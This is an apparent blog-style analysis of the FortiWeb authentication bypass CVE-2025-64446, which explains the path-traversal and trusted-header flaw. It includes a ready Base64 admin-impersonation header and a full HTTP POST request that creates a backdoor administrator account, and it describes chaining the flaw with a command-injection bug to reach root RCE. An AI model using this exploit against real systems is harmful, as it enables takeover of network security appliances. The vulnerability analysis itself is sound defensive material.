God Mode via Header: The Anatomy of FortiWeb CVE-2025-64446

There is a profound, almost poetic irony in finding a critical hole in a Web Application Firewall (WAF). These devices are the bouncers of the internet, designed to catch SQL injections and cross-site scripting attempts before they hit your fragile backend. But what happens when the bouncer is drunk and letting anyone in who wears a specific hat? That is effectively what CVE-2025-64446 is.

This isn't a complex memory corruption bug requiring heap feng shui or ROP chains. It is a logic flaw so stark it borders on architectural negligence. It involves a path traversal that looks like it belongs in a CTF from 2005, combined with a backend mechanism that blindly trusts the client to say, "Trust me, I'm the admin." The result? Total compromise of the security appliance meant to protect your network.

What makes this particularly spicy is that it was exploited in the wild as a zero-day. While administrators were sleeping soundly believing their perimeter was secure, attackers were walking through the front door using a secret handshake that Fortinet left hardcoded in the logic. It serves as a grim reminder: security appliances are just software, and software is written by humans who sometimes make terrible decisions.

To understand this vulnerability, you have to peer into the weird world of appliance architecture. Often, these systems are split into a frontend (handling the web server, TLS, and routing) and a backend (handling the business logic). In FortiWeb's case, the backend logic resides in a CGI binary called fwbcgi.

The developers needed a way to pass authentication context from the frontend to this backend binary. A robust solution might involve shared memory, encrypted tokens, or server-side session stores. Fortinet, however, apparently chose the "honor system." The fwbcgi binary looks for a specific HTTP header named CGIINFO.

If this header is present, the binary assumes the request has already been vetted by the frontend. It decodes the Base64 content of this header and—here is the kicker—uses the values inside to set the user's privileges. It calls a function set_login_context_vsa() using data solely provided by the attacker. There is no password check. There is no signature verification. It just takes the JSON blob and says, "Yes, sir, Mr. Admin."

Of course, you can't just send a request to the login page with this header; the frontend web server (likely Apache or Nginx based) would normally strip it or ignore it for unauthenticated routes. The attackers needed a way to talk directly to fwbcgi without the frontend interference. Enter the Path Traversal.

The vulnerability exists because of a discrepancy in how the URL is parsed. By appending %3f (a URL-encoded question mark) followed by traversal sequences, the attacker confuses the routing logic. The frontend sees the %3f and thinks, "Ah, the query string starts here, everything after this is just parameters." It routes the request to a valid API endpoint like /api/v2.0/cmdb/system/admin.

However, the underlying filesystem or the secondary parser handles the decoded path. It treats %3f as a literal character or ignores the query semantics in a way that allows the /../../ sequence to actually traverse directories. The request breaks out of the API jail and executes /cgi-bin/fwbcgi directly. Because the request is technically hitting the CGI binary, the binary checks for its favorite header, CGIINFO, finds it, and grants the keys to the kingdom.

Exploiting this is trivially easy once you know the format. You don't need shellcode; you just need JSON. The CGIINFO header expects a Base64-encoded JSON object defining the user session. A "God Mode" payload looks like this:

{
  "username": "admin",
  "profname": "prof_admin",
  "vdom": "root",
  "loginname": "admin"
}

Base64 encode that, and you get your magic string: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==.

Now, you construct the HTTP request. You aim at a valid API endpoint but traverse back to the CGI bin:

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: target-fortiweb
CGIINFO: eyJ1c2Vy...[base64]...
Content-Type: application/json
 
{
    "data": {
        "name": "backdoor_user",
        "access-profile": "prof_admin",
        "password": "Pwned!123",
        "type": "local-user"
    }
}

When the server processes this, it bypasses the standard authentication check, impersonates the 'admin' user defined in the header, and executes the body of the POST request—in this case, creating a new local admin user named backdoor_user. You now have persistent, legitimate access to the WAF.

The impact of this vulnerability cannot be overstated. We are talking about a CVSS 9.8 for a reason. Once an attacker creates an admin account, they own the device. They can change firewall rules, disable logging, and intercept traffic. Remember, this is a WAF; it often handles SSL termination. An attacker could potentially deploy a packet capture tool to harvest credentials for every application behind the firewall.

Furthermore, researchers have already observed this being chained with CVE-2025-58034, an OS command injection flaw. The authentication bypass acts as the door opener, and the command injection acts as the payload delivery. This combo grants unauthenticated Root RCE. At that point, the device can be pivoted into a C2 server, a crypto miner, or a launchpad for attacks deeper into the internal network (Lateral Movement).

Since this is in the CISA KEV (Known Exploited Vulnerabilities) catalog, this is not theoretical. Ransomware groups use these edge devices as initial access brokers. If your WAF is compromised, your DMZ is gone.